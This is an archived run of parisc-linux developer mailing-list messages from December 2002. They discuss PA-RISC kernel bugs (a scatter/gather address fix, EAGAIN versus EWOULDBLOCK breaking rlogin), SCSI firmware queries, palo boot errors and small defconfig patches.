List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16989

jsoe0708@tiscali.be wrote:
> >the less by curiosity I apply the Ryan patch: <http://lists.parisc-linux=
> .org/pipermail/parisc-linux/2002-November/018414.html>
> >and it also solved the problem of the b180 boot??

yes - thanks for finding this!

arch/parisc/kernel/pci-dma.c has the same bug as what ccio driver
has/had regarding scatter/gather lists (pci_map_sg() interfaces).
Replace all references to "sg->address" with "sg_virt_addr(sg)".
Can you send me a patch off list for that?

If not, I'll probably do it since I'd like to get my B180 working on 2.4.20.
It will just take longer.

> Don't know if could help but I also notice the following difference at
> boot time:
> 
> With highmem_io=3D1 on a b2000
...
> with highmem_io=3D0 on a b180
...

It's hard to compare different SCSI implementations.
IIRC, B2000 uses 53c875 and B180 uses LASI for SE narrow SCSI.
Check to see which driver claims the respective SCSI controllers.

grant


From - Thu Nov 08 21:25:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rlogin: connection closed (SOLUTION)
Date: Mon, 2 Dec 2002 20:56:57 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20021203045657.GU21187@tausq.org>
References: <200212022154.gB2LsPc31908@work.bitmover.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621987 17988 80.91.229.3 (22 Nov 2014 02:06:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, phi@hpfrcu81.france.hp.com,
	dev@bitmover.com
To: Larry McVoy <lm@bitmover.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 21:53:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7821F4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 21:53:46 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A8C2ACD839; Mon,  2 Dec 2002 20:56:57 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200212022154.gB2LsPc31908@work.bitmover.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16990

In reference to a message from Larry McVoy, dated Dec 02:
> This fixes it.  Looks like a race, I wasn't inclined to dig further, this
> got me past the problem.  I suspect that parisc fork() runs parent/child
> in the opposite order from every other Unix and that causes a race but
> I have not looked.

Nah, this is not it. It's the problem with EAGAIN != EWOULDBLOCK on 
hppa-linux.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Disk problems
Date: Mon, 02 Dec 2002 22:01:58 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20021203050158.234184829@dsl2.external.hp.com>
References: <3DA3DE66000072D5@ocpmta4.be.tiscali.com>  <1038435657.1271.14.camel@seventy>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621988 17993 80.91.229.3 (22 Nov 2014 02:06:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:28 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: James Smith <james@compusmithllc.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 22:01:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 234184829; Mon,  2 Dec 2002 22:01:58 -0700 (MST)
In-Reply-To: Message from James Smith <james@compusmithllc.com> 
   of "27 Nov 2002 17:20:56 EST." <1038435657.1271.14.camel@seventy> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16991

James Smith wrote:
> how do i find the firmware number for the drives?

grundler@c3k:~$ cat /proc/scsi/scsi
Attached devices: 
Host: scsi1 Channel: 00 Id: 05 Lun: 00
  Vendor: SEAGATE  Model: ST118202LC       Rev: 7D04
  Type:   Direct-Access                    ANSI SCSI revision: 02
Host: scsi1 Channel: 00 Id: 06 Lun: 00
  Vendor: SEAGATE  Model: ST118202LC       Rev: HP03
  Type:   Direct-Access                    ANSI SCSI revision: 02
grundler@c3k:~$ 

"Rev" is the drive firmware.

grant


From - Thu Nov 08 21:25:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Larry McVoy <lm@bitmover.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rlogin: connection closed (SOLUTION)
Date: Mon, 2 Dec 2002 21:00:59 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20021202210059.C9691@work.bitmover.com>
References: <200212022154.gB2LsPc31908@work.bitmover.com> <20021203045657.GU21187@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621988 17999 80.91.229.3 (22 Nov 2014 02:06:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:28 +0000 (UTC)
Cc: Larry McVoy <lm@bitmover.com>,
	parisc-linux@lists.parisc-linux.org, phi@hpfrcu81.france.hp.com,
	dev@bitmover.com
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 22:03:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.bitmover.com (bitmover.com [192.132.92.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39BA54829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 22:03:16 -0700 (MST)
Original-Received: from work.bitmover.com (work.bitmover.com [10.3.3.1])
	by mail.bitmover.com (8.11.6/8.11.6) with ESMTP id gB35LYX17708;
	Mon, 2 Dec 2002 21:21:34 -0800
Original-Received: (from lm@localhost)
	by work.bitmover.com (8.11.6/8.11.6) id gB350xG10496;
	Mon, 2 Dec 2002 21:00:59 -0800
Mail-Followup-To: Larry McVoy <lm@work.bitmover.com>,
	Randolph Chung <randolph@tausq.org>, Larry McVoy <lm@bitmover.com>,
	parisc-linux@lists.parisc-linux.org, phi@hpfrcu81.france.hp.com,
	dev@bitmover.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021203045657.GU21187@tausq.org>; from randolph@tausq.org on Mon, Dec 02, 2002 at 08:56:57PM -0800
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16992

On Mon, Dec 02, 2002 at 08:56:57PM -0800, Randolph Chung wrote:
> In reference to a message from Larry McVoy, dated Dec 02:
> > This fixes it.  Looks like a race, I wasn't inclined to dig further, this
> > got me past the problem.  I suspect that parisc fork() runs parent/child
> > in the opposite order from every other Unix and that causes a race but
> > I have not looked.
> 
> Nah, this is not it. It's the problem with EAGAIN != EWOULDBLOCK on 
> hppa-linux.

OK, whatever.  I just though the rlogin people would want to know.
This seems to be a long standing and annoying bug.
-- 
---
Larry McVoy            	 lm at bitmover.com           http://www.bitmover.com/lm 


From - Thu Nov 08 21:25:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dump_patche.2.4.19-pa22.gz no read acces to the world
Date: Mon, 02 Dec 2002 22:12:38 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20021203051238.C1A204829@dsl2.external.hp.com>
References: <3DA3DE6600007EB6@ocpmta4.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621988 18005 80.91.229.3 (22 Nov 2014 02:06:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 22:12:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C1A204829; Mon,  2 Dec 2002 22:12:38 -0700 (MST)
In-Reply-To: Message from jsoe0708@tiscali.be 
   of "Mon, 02 Dec 2002 14:41:50 +0100." <3DA3DE6600007EB6@ocpmta4.be.tiscali.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16993

jsoe0708@tiscali.be wrote:
> In ftp://ftp.parisc-linux.org/patches/ I would be interested to read
> dump_patche.2.4.19-pa22.gz but it doesn't have read access for other.

I put that there so a few people could test an early version.
When Bruno is ready to publish his dump patch, it will be world readable.
Hopefully we can just commit to our CVS though...

sorry,
grant


From - Thu Nov 08 21:25:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Typo?
Date: Mon, 02 Dec 2002 22:18:25 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20021203051825.CEB414829@dsl2.external.hp.com>
References: <3DB577610000593D@ocpmta8.be.tiscali.com>  <20021129150411.P1586@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621989 18007 80.91.229.3 (22 Nov 2014 02:06:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:29 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 22:18:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id CEB414829; Mon,  2 Dec 2002 22:18:25 -0700 (MST)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Fri, 29 Nov 2002 15:04:11 GMT." <20021129150411.P1586@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16994

Matthew Wilcox wrote:
> On Fri, Nov 29, 2002 at 10:57:50AM +0100, jsoe0708@tiscali.be wrote:
> > Here attached some diff which seems to be typo.
> 
> patch looks correct to me.  grant?

yup - a typo in the debug code. I'll commit Joels patch shortly.

thanks!
grant


From - Thu Nov 08 21:25:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Typo?
Date: Mon, 02 Dec 2002 22:35:13 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20021203053513.593464829@dsl2.external.hp.com>
References: <3DB577610000593D@ocpmta8.be.tiscali.com>  <20021129150411.P1586@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621989 18010 80.91.229.3 (22 Nov 2014 02:06:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:29 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 22:35:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 593464829; Mon,  2 Dec 2002 22:35:13 -0700 (MST)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Fri, 29 Nov 2002 15:04:11 GMT." <20021129150411.P1586@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16995

Matthew Wilcox wrote:
> On Fri, Nov 29, 2002 at 10:57:50AM +0100, jsoe0708@tiscali.be wrote:
> > Here attached some diff which seems to be typo.
> 
> patch looks correct to me.  grant?

I was off on holiday...I guess I didn't advertise that well enough.

I just committed Joel's patch and just now realized it's *WRONG*.
I don't know why I thought sg_virt_address() was correct before.
Brain fart.

grundler <520>fgrep sg_virt include/asm-parisc/scatterlist.h 
#define sg_virt_addr(sg) (((sg)->address) ? ((sg)->address) : \

I'll fix my mess. *sigh*.
BTW, I'll fix pci-dma.c too. I've got the B180 to test it on tomorrow.

thanks!
grant


From - Thu Nov 08 21:25:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: The PA/Linux ESIEE Team <puffin@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: K-Class Pa-Linux
Date: Tue, 3 Dec 2002 11:07:39 +0100
Organization: ESIEE
Lines: 53
Approved: news@gmane.org
Message-ID: <20021203110739.4d90dbdf.puffin@esiee.fr>
References: <B6457593-060D-11D7-9FA0-0030656F07A2@esiee.fr>
	<OF02C25910.B1912FC4-ONC1256C84.0034303D-C1256C84.00349772@linotype.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621989 18021 80.91.229.3 (22 Nov 2014 02:06:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: JKonrad@linotype.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  3 03:07:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id A37C04829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Dec 2002 03:07:48 -0700 (MST)
Original-Received: from Bibou ([212.186.189.113]) by viefep11-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with SMTP
          id <20021203100740.JAOG3835.viefep11-int.chello.at@Bibou>;
          Tue, 3 Dec 2002 11:07:40 +0100
In-Reply-To: <OF02C25910.B1912FC4-ONC1256C84.0034303D-C1256C84.00349772@linotype.com>
X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16996

On Tue, 3 Dec 2002 10:32:49 +0100
JKonrad@linotype.com wrote:

> We got Linux installed nice and easy after switching to ttyB0..... 
> unfortunately, after the installation, when we rebooted, he did this:

[...] (It's a K200)

>     0/vmlinux32 3960547 bytes @ 0x44000  
>   
> Command line for kernel: 'root=/dev/sda3 HOME=/ console=ttyB0 
> palo_kernel=3/boo'
> Selected kernel: /boot/vmlinux from partition 3  
>  
> offset_read(2, 0x0006c7a4, 128, 1476411392) can't seek past 238026752  
>  
> ext2_iget: read errorERROR: open /boot/vmlinux from partition 3 failed 
> 
> "
> 
> too bad..... you have any ideas?????

Yes I do:
I'm quoting my previous mail. Here is the idea...

> I strongly recommend you take a look at the PA-RISC/Linux Boot HOWTO, 
> it contains much interesting info:
> http://pateam.esiee.fr/doc.html
> 
> and you should also take a look here:
> http://www.fr.parisc-linux.org/
> and especially to the m-l archives here:
> http://www.fr.parisc-linux.org/mailing-lists/
> 
> You should find almost everything you need there...

If you had read it, this problem wouldn't even have happened...
http://pateam.esiee.fr/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/paloappusage.html#bootablepartition

What's more, palo _does_ tell you what's wrong:
"can't seek past 238026752"

Please, take some time to read the doc that has been written to avoid repeating endlessly the same answers to the same questions...

For what it's worth, we, as a community of developers and users, have a mailing-list to share knowledge. You'll find much help there too, that's why I'm CC'ing this mail.

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:25:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Erlend Aasland <erlend-a@ux.his.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [TRIVIAL PATCH 2.5] get rid of CONFIG_UDF_RW (parisc)
Date: Tue, 3 Dec 2002 14:10:00 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20021203131000.GG2417__24484.3211760328$1416621990$gmane$org@johanna5.ux.his.no>
References: <20021203125120.GA2417@johanna5.ux.his.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621990 18023 80.91.229.3 (22 Nov 2014 02:06:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:30 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: Trivial Patch Monkey <trivial@rustcorp.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  3 06:10:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from johanna5.ux.his.no (johanna5.ux.his.no [152.94.1.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 071774829
	for <parisc-linux@parisc-linux.org>; Tue,  3 Dec 2002 06:10:19 -0700 (MST)
Original-Received: from johanna5.ux.his.no (localhost [127.0.0.1])
	by johanna5.ux.his.no (8.12.6/8.12.6) with ESMTP id gB3DA50o003118;
	Tue, 3 Dec 2002 14:10:05 +0100 (MET)
Original-Received: (from erlend-a@localhost)
	by johanna5.ux.his.no (8.12.6/8.12.6/Submit) id gB3DA0KF003117;
	Tue, 3 Dec 2002 14:10:00 +0100 (MET)
Content-Disposition: inline
In-Reply-To: <20021203125120.GA2417@johanna5.ux.his.no>
User-Agent: Mutt/1.4i
X-Scanned-By: MIMEDefang 2.24 (www . roaringpenguin . com / mimedefang)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16997

Remove CONFIG_UDF_RW from parisc defconfig (it's not used anymore)

Regards,
	Erlend Aasland

diff -urN linux-2.5.50/arch/parisc/defconfig linux-2.5.50-eaa/arch/parisc/defconfig
--- linux-2.5.50/arch/parisc/defconfig	Fri Nov  1 00:07:19 2002
+++ linux-2.5.50-eaa/arch/parisc/defconfig	Tue Dec  3 00:48:05 2002
@@ -576,7 +576,6 @@
 CONFIG_EXT2_FS=y
 # CONFIG_SYSV_FS is not set
 # CONFIG_UDF_FS is not set
-# CONFIG_UDF_RW is not set
 # CONFIG_UFS_FS is not set
 # CONFIG_UFS_FS_WRITE is not set
 


From - Thu Nov 08 21:25:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <balak@ieee.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] X on C3000
Date: Tue, 3 Dec 2002 15:31:06 -0600 (CST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0212031525140.30608-100000@dhcp-53-142.ece.utexas.edu>
Reply-To: <balak@ieee.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621990 18024 80.91.229.3 (22 Nov 2014 02:06:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:30 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  3 14:28:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp-53-142.ece.utexas.edu (dhcp-53-142.ece.utexas.edu [146.6.53.142])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B6754829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Dec 2002 14:28:24 -0700 (MST)
Original-Received: from localhost (kjbala@localhost)
	by dhcp-53-142.ece.utexas.edu (8.11.2/8.11.2) with ESMTP id gB3LV6Q30622
	for <parisc-linux@lists.parisc-linux.org>; Tue, 3 Dec 2002 15:31:06 -0600
X-Authentication-Warning: dhcp-53-142.ece.utexas.edu: kjbala owned process doing -bs
X-X-Sender: <kjbala@dhcp-53-142.ece.utexas.edu>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
